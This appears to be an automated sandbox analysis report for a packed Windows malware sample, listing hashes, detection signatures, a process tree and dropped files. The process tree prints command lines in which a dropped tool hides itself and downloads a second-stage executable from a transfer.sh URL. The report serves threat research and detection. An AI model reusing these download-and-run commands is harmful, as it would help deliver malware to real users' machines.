1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e

General

Target
e8267780010f1b79d10d22bf70ba6f5e.exe
Size 349KB
Sample220401-xtr1rscabp
SHA256 1d1c688d117950a23ae8c39cbe2bfee953030f33a59afe869989b2e9470c464e
MD5 e8267780010f1b79d10d22bf70ba6f5e
SHA1 f30bfba63ff4ea5c73048631bdadbbd37d22ffb0
SHA512 b766a0e264ae62ceccdc07eac2745cf0cadc1bbab87dcb3466a4585633ade57f97f5bf60a116ff134349891a3b62d9b0774fb0ab38af48697f1d2ecc7dc5e629
MD5 SHA1 SHA512

Score

8^/10

upx

Malware Config

Signatures

Executes dropped EXE 4 IoCs

pid	Process
1700	extd.exe
1888	extd.exe
1892	extd.exe
1740	extd.exe

UPX packed file 5 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00060000000153cf-57.dat	upx
behavioral1/files/0x00060000000153cf-59.dat	upx
behavioral1/files/0x00060000000153cf-62.dat	upx
behavioral1/files/0x00060000000153cf-65.dat	upx
behavioral1/files/0x00060000000153cf-69.dat	upx

Suspicious behavior: CmdExeWriteProcessMemorySpam 4 IoCs

pid	Process
1700	extd.exe
1888	extd.exe
1892	extd.exe
1740	extd.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1532 wrote to memory of 1636	1532	e8267780010f1b79d10d22bf70ba6f5e.exe	28
PID 1532 wrote to memory of 1636	1532	e8267780010f1b79d10d22bf70ba6f5e.exe	28
PID 1532 wrote to memory of 1636	1532	e8267780010f1b79d10d22bf70ba6f5e.exe	28
PID 1532 wrote to memory of 1636	1532	e8267780010f1b79d10d22bf70ba6f5e.exe	28
PID 1636 wrote to memory of 1700	1636	cmd.exe	29
PID 1636 wrote to memory of 1700	1636	cmd.exe	29
PID 1636 wrote to memory of 1700	1636	cmd.exe	29
PID 1636 wrote to memory of 1700	1636	cmd.exe	29
PID 1636 wrote to memory of 1888	1636	cmd.exe	30
PID 1636 wrote to memory of 1888	1636	cmd.exe	30
PID 1636 wrote to memory of 1888	1636	cmd.exe	30
PID 1636 wrote to memory of 1888	1636	cmd.exe	30
PID 1636 wrote to memory of 1892	1636	cmd.exe	31
PID 1636 wrote to memory of 1892	1636	cmd.exe	31
PID 1636 wrote to memory of 1892	1636	cmd.exe	31
PID 1636 wrote to memory of 1892	1636	cmd.exe	31
PID 1636 wrote to memory of 1740	1636	cmd.exe	32
PID 1636 wrote to memory of 1740	1636	cmd.exe	32
PID 1636 wrote to memory of 1740	1636	cmd.exe	32
PID 1636 wrote to memory of 1740	1636	cmd.exe	32

C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe
"C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1532
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\3BAB.bat C:\Users\Admin\AppData\Local\Temp\e8267780010f1b79d10d22bf70ba6f5e.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1636
- - C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe "/hideself" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1700
- - C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1888
- - C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe "/download" "https://transfer.sh/get/aWWuuO/3.exe" "3.exe" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1892
- - C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
    C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe "" "" "" "" "" "" "" "" ""
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1740

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

3BAB.bat

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\3BAB.bat
Size 604B
SHA256 dc4f626946b7d047c2bb76201b2d460b5d0426901b5315dba738ccba0c07f2c1
MD5 afa728a5560ac430e72ff7bf13018f6b
SHA1 e4054914af20b3b64d01053e6c9dac891b03daa2
SHA512 97f4fa7120e3bb2ea9e4897b5bfebfec943cd187da013bff5efb5d46f9d6ae9559069a9ae53ea3f545a77faf6d5dfdddbff56f62b9875b13c03ea1c79e776d61
MD5 SHA1 SHA512

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

extd.exe

Path C:\Users\Admin\AppData\Local\Temp\3BA9.tmp\3BAA.tmp\extd.exe
Size 259KB
SHA256 d4b9b8b1f9ab2fbca7b55c4068bdcefae50ad3994924d67607fc9ae859003332
MD5 139b5ce627bc9ec1040a91ebe7830f7c
SHA1 c7e8154ebed98bea9d1f12b08139d130b6836826
SHA512 8cc0e484ddb2e8bed4b8554e65ab8e3bfbe2a8f1c554a7aec9eac4c9555396e21c4bc2840d499ce4baffed2a4966a7d742c7c3ada58d039630b03472e322042b
SSDEEP 6144:NokHEBAQvNj+Z02VzUgoML2OHCGzVGKdI28oS:NCAQvWivMLHCGU28oS
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1532-54-0x0000000075611000-0x0000000075613000-memory.dmp

Download

memory/1636-67-0x000007FEFB8B1000-0x000007FEFB8B3000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads